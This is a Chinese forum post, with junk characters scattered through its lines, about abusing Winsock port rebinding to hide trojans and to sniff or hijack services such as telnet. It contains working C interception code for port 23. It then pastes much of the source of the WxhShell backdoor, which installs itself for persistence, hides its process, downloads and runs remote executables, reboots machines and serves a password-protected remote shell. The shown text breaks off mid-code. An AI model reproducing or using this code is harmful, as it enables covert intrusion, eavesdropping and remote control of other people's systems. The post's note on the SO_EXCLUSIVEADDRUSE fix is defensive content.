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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Btp 9v<"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2+ m%f"  
' @i0~  
  saddr.sin_family = AF_INET; T{<riJ`O  
n** W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [T<nTB# w  
f~ kz=R=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4+"2K-]   
wc`UcGO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nLicog)!I  
F!(Vg  
  这意味着什么?意味着可以进行如下的攻击: H0r@dn  
I7,5ID4pn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F,5~a_GP?  
3}~.#`QeY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wr I66R}@  
uj;tmK>;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jwhc;y  
dxfF.\BFDn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |C"(K-do  
=z#6mSx|W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i[_B~/_  
|Lf>Z2E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tqbYrF)  
0P i+ (X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AQ+MjS,  
ynY(  
  #include Vi1l^ Za  
  #include F#Y9 @E  
  #include $r+ _Y/  
  #include    b?i5C4=K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0])D)%B k  
  int main() Bl[4[N  
  {  /5M0[C E  
  WORD wVersionRequested; ~(aMKB  
  DWORD ret; ~i_YrTp  
  WSADATA wsaData; =`<9N %  
  BOOL val; BPO)<bx_  
  SOCKADDR_IN saddr; X6 E^5m  
  SOCKADDR_IN scaddr; dmA#v:$1  
  int err; JX!z,X?r4  
  SOCKET s; /vgEDw  
  SOCKET sc; }Um,wY[tK  
  int caddsize; gI~B _0x  
  HANDLE mt; 9!} ?}`'_  
  DWORD tid;   YOOcHo.F  
  wVersionRequested = MAKEWORD( 2, 2 ); !U::kr=t  
  err = WSAStartup( wVersionRequested, &wsaData ); y[`>,?ns5  
  if ( err != 0 ) {  N$ oQK(  
  printf("error!WSAStartup failed!\n"); _\&v A5-  
  return -1; Mbm'cM&}  
  } !#&`1cYX  
  saddr.sin_family = AF_INET; t?Ku6Z'  
   Dxvizd>VU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /tdRUX  
(}B3df  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @=<B8VPJd  
  saddr.sin_port = htons(23); >G9YYt~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *RYok{w  
  { L0\~ K~q  
  printf("error!socket failed!\n"); f?JP=j  
  return -1; ?kM2/a"{G  
  } 5nV IC3N+1  
  val = TRUE; M:M"7>:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &c[ISc>N{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N =T 0Td  
  { Kj53"eW  
  printf("error!setsockopt failed!\n"); e@h (Zwp  
  return -1; h-.xx 4D  
  } "%(SLQOyy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9QP-~V{$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :_8Nf1B+T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v`r![QpYf  
-#Bk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u_HCXpP!Q  
  { ]A&pX AM  
  ret=GetLastError(); k'8tqIUN]  
  printf("error!bind failed!\n"); G!)Q"+  
  return -1; ;~,)6UX7  
  } N?EeT}m_  
  listen(s,2); rSa=NpFxLu  
  while(1) FW"n+7T  
  { -xXdT$Xd  
  caddsize = sizeof(scaddr); G)IK5zCDd  
  //接受连接请求 V1#:[o63+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1,7  
  if(sc!=INVALID_SOCKET) 8-B6D~i  
  { 8|L;y[v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KwHlpW*  
  if(mt==NULL) XvSng"f.  
  { icK$W2<8mg  
  printf("Thread Creat Failed!\n"); H-,p.$3}  
  break; y[{}124  
  } Na>w~  
  } =odKi"-6  
  CloseHandle(mt); O70#lvsM;  
  } ;I9g;}  
  closesocket(s); 5<XWbGW  
  WSACleanup(); vw6>eT  
  return 0; WES$B7y  
  }   2kcDJ{(  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;e{e ?,[  
  { BgT(~8'  
  SOCKET ss = (SOCKET)lpParam; d`UK mj  
  SOCKET sc; o<gK"P  
  unsigned char buf[4096]; fHODS9HQ  
  SOCKADDR_IN saddr; + )n}n5  
  long num; "+M0lGTB  
  DWORD val; |LRAb#F\  
  DWORD ret; JU#m?4g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [sNvCE$\]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @#=yC.s  
  saddr.sin_family = AF_INET; NTo[di\_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d#HlO}  
  saddr.sin_port = htons(23); @_$Un&eo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .ah[!O  
  { )(9[>_+40  
  printf("error!socket failed!\n"); Dz&,g+>$J  
  return -1; Jcy+(7lE)  
  }  p9 G{Q  
  val = 100; #-i#mbZ e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a/</P |UG  
  { | |L^yI~_d  
  ret = GetLastError(); )Ma/] eZ^I  
  return -1; VAo`R9^D#  
  } 2bOl`{x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aoQ$"PF9  
  { ejia4(Cd  
  ret = GetLastError(); ;F_P<b 2  
  return -1; \.'[!GE*c  
  } 1Va=.#<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F9"Xu-g  
  { Z~w2m6;s  
  printf("error!socket connect failed!\n"); O!t=,F1j  
  closesocket(sc); S5kD|kJ  
  closesocket(ss); S17;;w0  
  return -1; \Q^grX  
  } 0(>3L:  
  while(1) )HcLpoEi  
  { FTr'I82m(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  `-JVz{z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UfIr"bU6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 - ~4na{6x  
  num = recv(ss,buf,4096,0); $;&l{=e2)  
  if(num>0) D|amKW7  
  send(sc,buf,num,0); z9!OzGtIR  
  else if(num==0) /ykc`E?f  
  break; -u7NBtgUh  
  num = recv(sc,buf,4096,0); Yw yMC d  
  if(num>0) rog1  
  send(ss,buf,num,0); l3*GQ~m7  
  else if(num==0) l<p<\,nV$  
  break; ##%&*vh  
  } cF_`QRtO  
  closesocket(ss); Dlpmm2  
  closesocket(sc); G3 |x%/Fbp  
  return 0 ; ,!,tU7-H  
  } `kE7PXqa  
M.xZU\'ty  
D2GF4%|  
========================================================== B&7NF}CF2  
eY-h<K)y  
下边附上一个代码,,WXhSHELL R={#V8D~  
6$0<&')Yb  
========================================================== OwEu S#-  
tJ7F.}\;C  
#include "stdafx.h" #.!#"8{0_  
Y9gw ('\w  
#include <stdio.h> jABFdNjri  
#include <string.h> SME9hS$4  
#include <windows.h> AusjN-IL  
#include <winsock2.h> N:CQ$7T{ j  
#include <winsvc.h> *dxm|F98  
#include <urlmon.h> %% /8B  
1Q!kk5jE  
#pragma comment (lib, "Ws2_32.lib") rB{w4  
#pragma comment (lib, "urlmon.lib") cly}[<w!  
7#W]Qj  
#define MAX_USER   100 // 最大客户端连接数 ZyDNtX%  
#define BUF_SOCK   200 // sock buffer }n "5r(*^@  
#define KEY_BUFF   255 // 输入 buffer ^^zj4 }On?  
* nFzfV  
#define REBOOT     0   // 重启 e(N},s:_  
#define SHUTDOWN   1   // 关机 BU4IN$d0Po  
"GR*d{  
#define DEF_PORT   5000 // 监听端口 qpMcVJL  
f,F1k9-1!  
#define REG_LEN     16   // 注册表键长度 W/%hS)75  
#define SVC_LEN     80   // NT服务名长度 [& Z- *a  
1r};cY6  
// 从dll定义API @?3^ Ks_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fm@Pa} ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _5H~1G%q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (~%NRH<\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [u$|/  
i39ZBs@  
// wxhshell配置信息 <i4]qO(0u  
struct WSCFG { /t< &  
  int ws_port;         // 监听端口 o[}Dj6e\t  
  char ws_passstr[REG_LEN]; // 口令 \|9B:y'y  
  int ws_autoins;       // 安装标记, 1=yes 0=no sQj]#/yK:  
  char ws_regname[REG_LEN]; // 注册表键名 y/ Bo 4fM  
  char ws_svcname[REG_LEN]; // 服务名 <ch}]-_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N$=9R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 39hep8+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^N[ Cip}8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LT Pr8^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hRRxOr#*$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H la?\  
u z7|!G!43  
}; Nf<f}`  
Lui6;NY  
// default Wxhshell configuration 1Ml<>  
struct WSCFG wscfg={DEF_PORT, mI!iSVqr  
    "xuhuanlingzhe", iLIb-d?!a&  
    1, vPGUE`!D+  
    "Wxhshell", _@y uaMoW=  
    "Wxhshell", ||Owdw|{  
            "WxhShell Service", X'<RqvDc5  
    "Wrsky Windows CmdShell Service", VBQAkl?(}4  
    "Please Input Your Password: ", l"(PP3  
  1, Gp \-AwE  
  "http://www.wrsky.com/wxhshell.exe", MZ&.{SY7  
  "Wxhshell.exe" MH#"dGGu  
    }; fkp(M  
QNINn>2  
// 消息定义模块 ['Lo8 [  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #^r-D[/m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [8UZ5_1WL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2oEuqHL  
char *msg_ws_ext="\n\rExit."; gm2|`^Xq$  
char *msg_ws_end="\n\rQuit."; ?gU raSFU  
char *msg_ws_boot="\n\rReboot..."; 87[ ,.W  
char *msg_ws_poff="\n\rShutdown..."; G![d_F" e  
char *msg_ws_down="\n\rSave to "; 4K'U}W  
g_IcF><F  
char *msg_ws_err="\n\rErr!"; .:f ao'  
char *msg_ws_ok="\n\rOK!"; @wa"pWx8  
K=HLMDs  
char ExeFile[MAX_PATH]; .`m|Uf#" _  
int nUser = 0; $x`HmL3Sb  
HANDLE handles[MAX_USER]; !L{mE&  
int OsIsNt; MKvmzLh$)  
g*My1+J!  
SERVICE_STATUS       serviceStatus; Nwt[)\W `  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n}F$kyI  
fo+s+Q|Y  
// 函数声明 Y @'do)  
int Install(void); ]T'8O`  
int Uninstall(void); "i(f+N,)  
int DownloadFile(char *sURL, SOCKET wsh); c:Cw #  
int Boot(int flag); 'DVn /3?X  
void HideProc(void); MymsDdQ]  
int GetOsVer(void); nvf5a-C+q  
int Wxhshell(SOCKET wsl); AV2Jl"1)z  
void TalkWithClient(void *cs); $)"T9 $>$  
int CmdShell(SOCKET sock); p@% Pdx  
int StartFromService(void); $3l#eKZA  
int StartWxhshell(LPSTR lpCmdLine); .z_nW1id  
NZv8#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |v%$Q/zp&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;"0bVs`.^e  
*X$qgSW  
// 数据结构和表定义 >QvqH 2  
SERVICE_TABLE_ENTRY DispatchTable[] = 1Z)P.9c  
{ hWbu Z%  
{wscfg.ws_svcname, NTServiceMain}, #*.4Jv<R  
{NULL, NULL} +58^{_k+%  
}; .<>t2,Af  
;"Qq/ knVL  
// 自我安装 _g/d/{-{Q  
int Install(void) >*gf1"  
{ 0ZDm[#7z  
  char svExeFile[MAX_PATH]; }v2p]D5n.  
  HKEY key; YT oG'#qs  
  strcpy(svExeFile,ExeFile); zeQ~'ao<  
[&*irk  
// 如果是win9x系统,修改注册表设为自启动 ^_Lnqk6  
if(!OsIsNt) { 9C,gJp}P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NpZ'pBl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9ThsR&h3  
  RegCloseKey(key); Qx E%C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ty~Sf-Pri  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d!:/n  
  RegCloseKey(key); w^&UMX}  
  return 0; PSu]I?WF  
    } ]kmAN65c  
  } /<LjD  
} p gLhxc:  
else { N?{Zrff2"O  
9NVtvBA  
// 如果是NT以上系统,安装为系统服务 [_xOz4`%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q1 q~%+Jy  
if (schSCManager!=0) nt|n[-}  
{ /];N1  
  SC_HANDLE schService = CreateService 85io %>&0  
  ( 9-m_ e=jk6  
  schSCManager, /G7^l>pa  
  wscfg.ws_svcname, ,Aq, f$5V  
  wscfg.ws_svcdisp, c/bT5TIEWs  
  SERVICE_ALL_ACCESS, C$])q`9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (AZneK :*  
  SERVICE_AUTO_START, [= E=H*j  
  SERVICE_ERROR_NORMAL, g~K-'Nw  
  svExeFile, Q$.CtECo  
  NULL, E{JTy{z-  
  NULL, M^ WoV }'  
  NULL, EB+4]MsD  
  NULL, u"v$[8  
  NULL "[["naa  
  ); 9mMQ  
  if (schService!=0) C'A D[`p  
  { `{"V(YMEV  
  CloseServiceHandle(schService); !K*3bY`#  
  CloseServiceHandle(schSCManager); :jTbzDqQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2ALYfZ|d  
  strcat(svExeFile,wscfg.ws_svcname); d:&cq8^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AX@bM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ :@!rM  
  RegCloseKey(key); 0W6= '7  
  return 0; 79)iv+nf\l  
    } Dy. |bUB!f  
  } E"BW-<_!  
  CloseServiceHandle(schSCManager); S?v;+3TG  
} \J(~ Nv5!  
}  nSo.,72  
`ZC -lAY  
return 1; {yf, :5  
} <]S M$) =D  
T`v  
// 自我卸载 hZ<FCY,/?  
int Uninstall(void) %:l\Vhhz  
{ C&d,|e "\  
  HKEY key; r7U[QTM%  
8_D:#i  
if(!OsIsNt) { ^|rzqXW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Y# vKb{>  
  RegDeleteValue(key,wscfg.ws_regname); :WH0=Bieh  
  RegCloseKey(key); w{;bvq%lY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fH ,h\0  
  RegDeleteValue(key,wscfg.ws_regname); !h1|B7N  
  RegCloseKey(key); =hh,yi  
  return 0; @&G %cW(  
  } bsc b  
} aFrZ ;_  
} Vz,"vBds  
else { pDr/8HEh  
kbz+6LcV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2U+wiE|  
if (schSCManager!=0) ,5*<C'9  
{ R<h:>.M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "wV7PSbM  
  if (schService!=0) uZ1G,9  
  { "[L+LPET  
  if(DeleteService(schService)!=0) { Jn0L_@  
  CloseServiceHandle(schService); Fok`-U  
  CloseServiceHandle(schSCManager); LwQYO'X  
  return 0; `$;%%/tx  
  } MGKSaP;x  
  CloseServiceHandle(schService); g( eA?  
  } :VRQd}$Pi  
  CloseServiceHandle(schSCManager); Q;2k bVWY  
} J0@#xw=+  
} v>Kv!OY:c  
GV)DLHiyxX  
return 1; N':d T  
} c&L|e$C]  
>?X(, c  
// 从指定url下载文件 F JxH{N6a  
int DownloadFile(char *sURL, SOCKET wsh) .ddf'$6h  
{ z{> )'A/  
  HRESULT hr; <e8Ux#x/  
char seps[]= "/"; =p!Hl#  
char *token; 5&U?\YNLa  
char *file; $>l65)(E\  
char myURL[MAX_PATH]; <M3&\  
char myFILE[MAX_PATH]; MIAC'_<-e  
gAGcbepX  
strcpy(myURL,sURL); <^A1.o< GN  
  token=strtok(myURL,seps); 9@p+g`o  
  while(token!=NULL) g7LS  
  { 7tT L,Nxe  
    file=token; wAF#N1-k  
  token=strtok(NULL,seps); r$d'[ZcX  
  } 6CWm;%B#G  
{1wjIo"ptg  
GetCurrentDirectory(MAX_PATH,myFILE); g>f_'7F&  
strcat(myFILE, "\\"); H]f8W]"c[  
strcat(myFILE, file); M059"X="  
  send(wsh,myFILE,strlen(myFILE),0); CM%;r5  
send(wsh,"...",3,0); +u7nx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); za4:Jdr  
  if(hr==S_OK) V@ph.)z  
return 0; =G/`r!r*0I  
else dy0xz5N-  
return 1; ];}7 %3  
#J c)v0_  
} pB]+c%\  
Je~Ybh  
// 系统电源模块 ]M9r<x*  
int Boot(int flag) ZEU/6.  
{ ^5gB?V,  
  HANDLE hToken; |f&=9%  
  TOKEN_PRIVILEGES tkp; &uTK@ G+  
7;:Uv=  
  if(OsIsNt) { o>4GtvA*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FHu+dZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _Nq7_iT0  
    tkp.PrivilegeCount = 1; >_?Waz %  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (V+iJ_1g{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +D+Rf,D  
if(flag==REBOOT) { M6b6lhg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )eSD5hOI)  
  return 0; .3 T#:Hl  
} tJY3k$YX  
else { lMBXD?,,J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _NJq%-,'  
  return 0; olf7L%  
} wTY8={p]  
  } Z\M8DZW8Y  
  else { 7q _.@J  
if(flag==REBOOT) { m:XMF)tW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ghqq%g  
  return 0; !|S{e^WhbU  
} 0V:PRq;v0  
else { &ffd#2f`@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q--;5"=S  
  return 0; >NN&j#;x~  
} r$Ck:Q}  
} < ekLL{/O'  
d>NM4n[h8  
return 1; okZDxg`6  
} 6o/!H  
dg]: JU  
// win9x进程隐藏模块 rYMHc@a9(  
void HideProc(void) +gOv5Eno-  
{ :CAbGs:56  
ep2#a#&'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t<2B3&o1  
  if ( hKernel != NULL ) eE-@dU?  
  { $]yHk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'hi.$G_R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &ahZ_9Q  
    FreeLibrary(hKernel); ${F] N }  
  } : |?nz$  
9Iod[ x  
return; ]1 OZY@  
} r|tTDKGQ  
XZFM|=%X  
// 获取操作系统版本 ! uyC$8V*l  
int GetOsVer(void) Xy(o0/7F9  
{ u`vOKajpH$  
  OSVERSIONINFO winfo; 7 a}qnk %  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -?$Hr\  
  GetVersionEx(&winfo); qj5V<c;h%W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +MfdZD  
  return 1; Sc zYL?w^  
  else GwoN=  
  return 0; le-Q&*  
} 24 i00s|#  
A<VNttgG  
// 客户端句柄模块 ' 4nR^,  
int Wxhshell(SOCKET wsl) eD4o8[s  
{ *h>KeIB;  
  SOCKET wsh; ]D;X"2I2'b  
  struct sockaddr_in client; ED={OZD8  
  DWORD myID; C&vUZa[p  
Q,mmHw.`J  
  while(nUser<MAX_USER) VY5/C;0^h  
{ KPOr8=Rc  
  int nSize=sizeof(client); _cY!\'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kf$%C"  
  if(wsh==INVALID_SOCKET) return 1; TYQ7jt0=.-  
9_z u*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,5_Hen=PI  
if(handles[nUser]==0) 5@6%/='I q  
  closesocket(wsh); Wm/0Y'$r&k  
else *L3>:],7  
  nUser++; (*Jcx:rH  
  } .(0'l@#fT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =;9*gDfD  
yqm^4)Dp  
  return 0; <I{)p;u1  
} aD1G\*AFJ  
M@V.?;F},  
// 关闭 socket x05yU  
void CloseIt(SOCKET wsh)  H)),~<s  
{ %/o8-N|_[  
closesocket(wsh);  4_E{  
nUser--; w{t2Oo6Q0+  
ExitThread(0); _BV'J92.  
} 9oK#n'hjb  
=!b<@41  
// 客户端请求句柄 G02(dj  
void TalkWithClient(void *cs) PyD'lsV  
{ i 5"g?Wa2N  
CVh^~!"7j  
  SOCKET wsh=(SOCKET)cs; 6p X[m{  
  char pwd[SVC_LEN]; 4{h?!Z*  
  char cmd[KEY_BUFF]; <303PPX^6  
char chr[1]; J3oj}M*  
int i,j; DL5`A?/  
<wt#m`Za  
  while (nUser < MAX_USER) { #4ZDY,>Xi#  
xbFoXYqgP  
if(wscfg.ws_passstr) { G H N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); meHAa`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]E1aIt  
  //ZeroMemory(pwd,KEY_BUFF); 0B^0,d(s  
      i=0; CF`tNA3fxm  
  while(i<SVC_LEN) { ik@g;>pQD  
u.t(78N  
  // 设置超时 OKU9v{  
  fd_set FdRead; dc MWCK  
  struct timeval TimeOut; #HD$=ECcw  
  FD_ZERO(&FdRead); V=pg9KR!T  
  FD_SET(wsh,&FdRead); %C_RBd  
  TimeOut.tv_sec=8; 6OJ`R.DM`  
  TimeOut.tv_usec=0; $z!o&3c'x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )p&FDK#ob=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vu DSjh  
%t&5o>1C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X&1R6 O  
  pwd=chr[0]; -'FzH?q:  
  if(chr[0]==0xd || chr[0]==0xa) { .u3!%{/v(c  
  pwd=0; w z-9+VN6  
  break; 0f).F  
  } $= '_$wG 8  
  i++; 36154*q  
    } N#-P}\Q9  
;?>xuC$  
  // 如果是非法用户,关闭 socket +1j@n.)ft  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [-)N}rL>  
} (Yz EsY  
`p@YV(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1us-ootsjP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n&Q{ [E  
*Z! #6(G  
while(1) { bq/*99``  
*]Nd I  
  ZeroMemory(cmd,KEY_BUFF); 7]t$t3I`  
x | =  
      // 自动支持客户端 telnet标准   NPws^  
  j=0; };[~>Mzl  
  while(j<KEY_BUFF) { | I_,;c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <KF|QE  
  cmd[j]=chr[0]; (|_1ku3!  
  if(chr[0]==0xa || chr[0]==0xd) { #?)g?u%g=  
  cmd[j]=0; SomA`y+ERn  
  break; F V8K_xj  
  } sW[8f Z71  
  j++; \IL/?J 5d  
    } a"^0;a  
*/iD68r|-  
  // 下载文件 ^EGe%Fq*x]  
  if(strstr(cmd,"http://")) { P9~7GFas|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =W(mZ#*vdY  
  if(DownloadFile(cmd,wsh)) ^2L\Y2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Xb,Swo~  
  else [:-Ltfr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pp$WM\r  
  } 5;wA7@  
  else { !424K-nW  
^nu~q+:+#  
    switch(cmd[0]) { 0?} ),8v>  
  -POV#1s  
  // 帮助 `9a %vN  
  case '?': { 5[.Dlpa'7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \F;V69'  
    break; ,bhOIuep3  
  } fZK&h.  
  // 安装 E 5D5  
  case 'i': { ( H/JB\~r  
    if(Install()) pi)7R:i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PtySPDClj  
    else %N#8D<ULd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lP*_dt9  
    break; Y4cIYUSc  
    } x8I=I"Sp  
  // 卸载 4LqJ4jo  
  case 'r': { }J27Y ;Zp9  
    if(Uninstall()) { -*+G]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Zi(6 T\z  
    else SoZ$1$o2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mg? ^5`*  
    break; cn&\q.!fh  
    }  ]~g6#@l  
  // 显示 wxhshell 所在路径 J%d\ 7  
  case 'p': { m\>531&  
    char svExeFile[MAX_PATH]; U)~?/s{v  
    strcpy(svExeFile,"\n\r"); zPWX%1Qr  
      strcat(svExeFile,ExeFile); C$o#zu q -  
        send(wsh,svExeFile,strlen(svExeFile),0); T#'+w@Q9{9  
    break; \ IJ\  
    } u_[^gS7  
  // 重启 /QDlm>FM4  
  case 'b': { 5$o]D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G8%Q$  
    if(Boot(REBOOT)) H)&6I33`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %a%x`S3  
    else { '\qd{mM\r  
    closesocket(wsh); Vb>!;C  
    ExitThread(0); dI'cZt~n  
    } l:v:f@M&  
    break; G}1?lO_d`  
    } [ t@  
  // 关机 ~^*IP1.3  
  case 'd': { OQ&?^S`8',  
